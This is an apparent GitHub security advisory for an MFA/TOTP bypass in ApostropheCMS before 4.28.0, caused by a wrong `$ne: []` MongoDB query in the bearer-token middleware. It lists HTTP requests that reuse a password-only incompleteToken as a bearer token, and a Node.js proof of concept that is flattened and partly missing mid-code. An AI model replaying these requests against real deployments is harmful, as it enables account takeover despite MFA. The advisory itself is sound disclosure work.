GHSA-v9xm-ffx2-7h35 ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

• npm apostrophe: < 4.28.0 → fixed in 4.28.0

MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware Summary The bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Severity The AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely. Affected Versions All versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement. Root Cause In `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed): ```javascript async function getBearer() { const bearer = await self.apos.login.bearerTokens.findOne({ _id: req.token, expires: { $gte: new Date() }, // requirementsToVerify array should be empty or inexistant // for the token to be usable to log in. $or: [ { requirementsToVerify: { $exists: false } }, { requirementsToVerify: { $ne: [] } } // BUG ] }); return bearer && bearer.userId; } ``` The comment correctly states the intent: the array should be "empty or inexistant." However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is NOT an empty array — meaning it matches tokens that still have unverified requirements. This is the exact opposite of the intended behavior. | Token State | `requirementsToVerify` | `$ne: []` result | Should match? | |---|---|---|---| | No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes | | TOTP pending | `["AposTotp"]` | `true` (BUG!) | No | | All verified | `[]` | `false` (BUG!) | Yes | | Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes | Attack Scenario Prerequisites • ApostropheCMS instance with `@apostrophecms/login-totp` enabled • Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach) • Attacker does NOT know the victim's TOTP secret/code Steps 1. Authenticate with password only: ``` POST /api/v1/@apostrophecms/login/login Content-Type: application/json {"username": "admin", "password": "correct_password", "session": false} ``` 2. Receive incomplete token (server correctly requires TOTP): ```json {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"} ``` 3. Use incomplete token as bearer token (bypassing TOTP): ``` GET /api/v1/@apostrophecms/page Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx ``` 4. Full authenticated access granted. The bearer token middleware matches the token because `requirementsToVerify: ["AposTotp"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code. Proof of Concept See `mfa-bypass-poc.js` — demonstrates the query logic bug with all token states. Run: ```bash !/usr/bin/env node /** • PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware * • ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js • has a logic error in the MongoDB query that validates bearer tokens. * • The comment says: • "requirementsToVerify array should be empty or inexistant • for the token to be usable to log in." * • But the actual query uses `$ne: []` (NOT equal to empty array), • which matches tokens WITH unverified requirements — the exact opposite • of the intended behavior. * • This allows an attacker who knows a user's password (but NOT their • TOTP code) to use the "incompleteToken" returned after password • verification as a fully authenticated bearer token, bypassing MFA. * • Affected: ApostropheCMS with @apostrophecms/login-totp (or any • custom afterPasswordVerified requirement) * • File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389 */ const RED = '\x1b[91m'; const GREEN = '\x1b[92m'; const YELLOW = '\x1b[93m'; const CYAN = '\x1b[96m'; const RESET = '\x1b[0m'; const BOLD = '\x1b[1m'; // Simulate MongoDB's $ne operator behavior function mongoNe(fieldValue, compareValue) { // MongoDB $ne: true if field value is NOT equal to compareValue // For arrays, MongoDB compares by value if (Array.isArray(fieldValue) && Array.isArray(compareValue)) { if (fieldValue.length !== compareValue.length) return true; return fieldValue.some((v, i) => v !== compareValue[i]); } return fieldValue !== compareValue; } // Simulate MongoDB's $exists operator function mongoExists(doc, field, shouldExist) { const exists = field in doc; return exists === shouldExist; } // Simulate MongoDB's $size operator function mongoSize(fieldValue, size) { if (!Array.isArray(fieldValue)) return false; return fieldValue.length === size; } // Simulate the VULNERABLE bearer token query (line 386-389) function vulnerableQuery(token) { // $or: [ // { requirementsToVerify: { $exists: false } }, // { requirementsToVerify: { $ne: [] } } BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`); } console.log(); return vulnResult && !fixedResult; } // ——— Main ——— banner(); const bypasses = []; console.log(`${BOLD}--- Token States During Login Flow ---${RESET}\n`); // 1. Normal bearer token (no MFA configured) // Created by initialLogin when there are no lateRequirements // Token: { _id: "xxx", userId: "yyy", expires: Date } // No requirementsToVerify field at all test( '[Token 1] Normal bearer token (no MFA) …